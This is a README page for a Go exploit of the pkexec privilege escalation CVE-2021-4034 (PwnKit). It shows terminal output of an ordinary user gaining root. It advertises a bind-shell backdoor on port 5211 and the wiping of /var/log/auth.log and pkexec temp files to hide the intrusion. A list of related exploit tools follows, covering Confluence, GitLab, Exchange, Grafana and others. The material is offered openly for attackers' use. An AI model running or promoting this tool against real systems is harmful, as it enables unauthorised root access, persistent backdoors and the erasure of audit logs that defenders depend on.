A golang based exp for CVE-2021-4034 dubbed pwnkit (more features added......)

PwnKit-go-LPE (CVE-2021-4034)

A golang based exp for CVE-2021-4034 dubbed pwnkit

@@@@@@@   @@@  @@@  @@@  @@@  @@@  @@@  @@@  @@@  @@@@@@@              @@@@@@@@   @@@@@@   
@@@@@@@@  @@@  @@@  @@@  @@@@ @@@  @@@  @@@  @@@  @@@@@@@             @@@@@@@@@  @@@@@@@@  
@@!  @@@  @@!  @@!  @@!  @@!@!@@@  @@!  !@@  @@!    @@!               !@@        @@!  @@@  
!@!  @!@  !@!  !@!  !@!  !@!!@!@!  !@!  @!!  !@!    !@!               !@!        !@!  @!@  
@!@@!@!   @!!  !!@  @!@  @!@ !!@!  @!@@!@!   !!@    @!!    @!@!@!@!@  !@! @!@!@  @!@  !@!  
!!@!!!    !@!  !!!  !@!  !@!  !!!  !!@!!!    !!!    !!!    !!!@!@!!!  !!! !!@!!  !@!  !!!  
!!:       !!:  !!:  !!:  !!:  !!!  !!: :!!   !!:    !!:               :!!   !!:  !!:  !!!  
:!:       :!:  :!:  :!:  :!:  !:!  :!:  !:!  :!:    :!:               :!:   !::  :!:  !:!  
 ::        :::: :: :::    ::   ::   ::  :::   ::     ::                ::: ::::  ::::: ::  
 :          :: :  : :    ::    :    :   :::  :       :                 :: :: :    : :  :   
                                                                                           
                                                                        By lUc1f3r11

New features

  • dynamically pkexec path by just adding -pk arg
  • bind shell backdoor
  • /var/log/auth.log and pkexec tmp files clean
  • written in pure go and using upx compressed volume

build

Enjoy

  1. run the pwnkit file to get root first
┌──(kali㉿kali)-[/root/pwnkit/CVE-2021-4034-go]
└─$ id      
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),119(wireshark),122(bluetooth),134(scanner),142(kaboxer)
                                                                                                                                    
┌──(kali㉿kali)-[/root/pwnkit/CVE-2021-4034-go]
└─$ whoami
kali
                                                                                                                                    
┌──(kali㉿kali)-[/root/pwnkit/CVE-2021-4034-go]
└─$ ./pwnkit   
@@@@@@@   @@@  @@@  @@@  @@@  @@@  @@@  @@@  @@@  @@@@@@@              @@@@@@@@   @@@@@@   
 @@@@@@@@  @@@  @@@  @@@  @@@@ @@@  @@@  @@@  @@@  @@@@@@@             @@@@@@@@@  @@@@@@@@  
 @@!  @@@  @@!  @@!  @@!  @@!@!@@@  @@!  !@@  @@!    @@!               !@@        @@!  @@@  
 !@!  @!@  !@!  !@!  !@!  !@!!@!@!  !@!  @!!  !@!    !@!               !@!        !@!  @!@  
 @!@@!@!   @!!  !!@  @!@  @!@ !!@!  @!@@!@!   !!@    @!!    @!@!@!@!@  !@! @!@!@  @!@  !@!  
 !!@!!!    !@!  !!!  !@!  !@!  !!!  !!@!!!    !!!    !!!    !!!@!@!!!  !!! !!@!!  !@!  !!!  
 !!:       !!:  !!:  !!:  !!:  !!!  !!: :!!   !!:    !!:               :!!   !!:  !!:  !!!  
 :!:       :!:  :!:  :!:  :!:  !:!  :!:  !:!  :!:    :!:               :!:   !::  :!:  !:!  
  ::        :::: :: :::    ::   ::   ::  :::   ::     ::                ::: ::::  ::::: ::  
  :          :: :  : :    ::    :    :   :::  :       :                 :: :: :    : :  :   
By lUc1f3r11
[+] Beginning exploit...
[+] mkdir 0755 GCONV_PATH=.
[+] chmod 0755 GCONV_PATH=./evildir
[+] mkdir 0755 evildir
[+] writefile 0755 evildir/gconv-modules
[+] writefile 0755 evildir/evil.so
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),119(wireshark),122(bluetooth),134(scanner),142(kaboxer),1000(kali)
# whoami
root

see the tmp file and log file exists

  1. run bindshell file to clean /var/log/auth.log and pkexec tmp files and open a tcp bind shell
# ./bindshell &
# [+] setting command exec path env
[+] cleaning /tmp/pkexec* files
[+] cleaning /var/log/auth.log pkexec logs
[+] cleaning /tmp/al
[+] open a bind tcp shell on port 5211

#

vuln pkexec file and patched pkexec file avaliable to make your debug easier

vuln repair

┌──(root💀kali)-[~/pwnkit]
└─# cp pkexec-good /usr/bin/pkexec
┌──(kali㉿kali)-[/root/pwnkit/CVE-2021-4034-go]
└─$ ./pwnkit
@@@@@@@   @@@  @@@  @@@  @@@  @@@  @@@  @@@  @@@  @@@@@@@              @@@@@@@@   @@@@@@   
 @@@@@@@@  @@@  @@@  @@@  @@@@ @@@  @@@  @@@  @@@  @@@@@@@             @@@@@@@@@  @@@@@@@@  
 @@!  @@@  @@!  @@!  @@!  @@!@!@@@  @@!  !@@  @@!    @@!               !@@        @@!  @@@  
 !@!  @!@  !@!  !@!  !@!  !@!!@!@!  !@!  @!!  !@!    !@!               !@!        !@!  @!@  
 @!@@!@!   @!!  !!@  @!@  @!@ !!@!  @!@@!@!   !!@    @!!    @!@!@!@!@  !@! @!@!@  @!@  !@!  
 !!@!!!    !@!  !!!  !@!  !@!  !!!  !!@!!!    !!!    !!!    !!!@!@!!!  !!! !!@!!  !@!  !!!  
 !!:       !!:  !!:  !!:  !!:  !!!  !!: :!!   !!:    !!:               :!!   !!:  !!:  !!!  
 :!:       :!:  :!:  :!:  :!:  !:!  :!:  !:!  :!:    :!:               :!:   !::  :!:  !:!  
  ::        :::: :: :::    ::   ::   ::  :::   ::     ::                ::: ::::  ::::: ::  
  :          :: :  : :    ::    :    :   :::  :       :                 :: :: :    : :  :   
By lUc1f3r11
[+] Beginning exploit...
[+] mkdir 0755 GCONV_PATH=.
[+] chmod 0755 GCONV_PATH=./evildir
[+] mkdir 0755 evildir
[+] writefile 0755 evildir/gconv-modules
[+] writefile 0755 evildir/evil.so
pkexec --version |
       --help |
       --disable-internal-agent |
       [--user username] PROGRAM [ARGUMENTS...]

See the pkexec manual page for more details.

Reference

Owner
lUc1f3r11
trapped in the darkest nightmare...
lUc1f3r11
Similar Resources

CVE-2021-3449 OpenSSL denial-of-service exploit 👨🏻‍💻

CVE-2021-3449 OpenSSL 1.1.1k DoS exploit Usage: go run . -host hostname:port This program implements a proof-of-concept exploit of CVE-2021-3449 affe

Dec 16, 2022

Confluence OGNL Injection [CVE-2021-26084].

Confluence OGNL Injection [CVE-2021-26084].

CVE-2021-26084 this is a script written in golang to exploit Confluence OGNL Injection [CVE-2021-26084]. git clone https://github.com/march0s1as/CVE-

Apr 23, 2022

CVE-2021-26084 - Confluence Server Webwork OGNL injection (Pre-Auth RCE)

CVE-2021-26084 Proof of concept for CVE-2021-26084. Confluence Server Webwork OGNL injection (Pre-Auth RCE) Disclaimer This is for educational purpose

Nov 9, 2022

Proof-of-Concept tool for CVE-2021-29156, an LDAP injection vulnerability in ForgeRock OpenAM v13.0.0.

CVE-2021-29156 Proof-of-Concept (c) 2021 GuidePoint Security Charlton Trezevant [email protected] Background Today GuidePoint

Apr 13, 2022

CVE-2021-22205 RCE

CVE-2021-22205 CVE-2021-22205 RCE 工具仅用于分享交流,切勿用于非授权测试,否则与作者无关 -R string VPS to load tools eg: -R 127.0.0.1:8083 -T string Tool nam

Nov 9, 2022

CVE 2021 41277

CVE-2021-41277 Usage 1. show help info ~/CVE-2021-41277 ❯ go run main.go -h Usage of main: -f string File containing li

Nov 9, 2022

CVE-2021-43798 - Grafana 8.x Path Traversal (Pre-Auth)

CVE-2021-43798 Grafana 8.x Path Traversal (Pre-Auth) All credits go to j0v and his tweet https://twitter.com/j0v0x0/status/1466845212626542607 Disclai

Nov 9, 2022

A small server for verifing if a given java program is succeptibel to CVE-2021-44228

CVE-2021-44228-Test-Server A small server for verifing if a given java program is succeptibel to CVE-2021-44228 Usage Build the program using go build

Nov 9, 2022

PoC for CVE-2021-41277

CVE-2021-41277 PoC Metabase is an open source data analytics platform. Local File Inclusion issue has been discovered in some versions of metabase. He

Dec 3, 2021
Related tags
CVE-2021-4034 - A Golang implementation of clubby789's implementation of CVE-2021-4034

CVE-2021-4034 January 25, 2022 | An00bRektn This is a golang implementation of C

Feb 3, 2022
A pure-Go implementation of the CVE-2021-4034 PwnKit exploit

go-PwnKit A pure-Go implementation of the CVE-2021-4034 PwnKit exploit. Installation git clone [email protected]:OXDBXKXO/go-PwnKit.git cd go-PwnKit make

Nov 9, 2022
vRealize RCE + Privesc (CVE-2021-21975, CVE-2021-21983, CVE-0DAY-?????)
vRealize RCE + Privesc (CVE-2021-21975, CVE-2021-21983, CVE-0DAY-?????)

REALITY_SMASHER vRealize RCE + Privesc (CVE-2021-21975, CVE-2021-21983, CVE-0DAY-?????) "As easy to stop as it is to comprehend." What is it? "Reality

Nov 9, 2022
A FreeSWITCH specific scanning and exploitation toolkit for CVE-2021-37624 and CVE-2021-41157.

PewSWITCH A FreeSWITCH specific scanning and exploitation toolkit for CVE-2021-37624 and CVE-2021-41157. Related blog: https://0xinfection.github.io/p

Nov 2, 2022
CVE-2021-21978 exp
CVE-2021-21978 exp

CVE-2021-21978 CVE-2021-21978 RCE exp 影响版本 VMware View Planner Harness 4.X 与 CVE-2021-21978 类似,该漏洞可以在未授权访问的情况下,上传任意文件,并通过修改自带 py 脚本实现远程代码执行。

Nov 9, 2022
CVE-2021-26855 exp
CVE-2021-26855 exp

CVE-2021-26855 CVE-2021-26855 ssrf 简单利用 golang 练习 影响版本 Exchange Server 2013 小于 CU23 Exchange Server 2016 小于 CU18 Exchange Server 2019 小于 CU7 利用条件 该漏洞不

Sep 12, 2022
CVE-2021-26855 exp

CVE-2021-26855 CVE-2021-26855 ssrf 简单利用 golang 练习 影响版本 Exchange Server 2013 小于 CU23 Exchange Server 2016 小于 CU18 Exchange Server 2019 小于 CU7 利用条件 该漏洞不

Sep 12, 2022
A CVE-2021-22205 Gitlab RCE POC written in Golang

Golang-CVE-2021-22205-POC A bare bones CVE-2021-22205 Gitlab RCE POC written in Golang which affects Gitlab CE/EE < 13.10.3 Gitlab CE/EE < 13.9.6 Gitl

Jul 4, 2022
A fast tool to mass scan for a vulnerability on Microsoft Exchange Server that allows an attacker bypassing the authentication and impersonating as the admin (CVE-2021-26855).
A fast tool to mass scan for a vulnerability on Microsoft Exchange Server that allows an attacker bypassing the authentication and impersonating as the admin (CVE-2021-26855).

proxylogscan This tool to mass scan for a vulnerability on Microsoft Exchange Server that allows an attacker bypassing the authentication and imperson

Dec 26, 2022
Exploit for HiveNightmare - CVE-2021–36934

HiveNightmare this is a quick and dirty exploit for HiveNightmare (or SeriousSam) - CVE-2021–36934 This allows non administrator users to read the SAM

Dec 3, 2022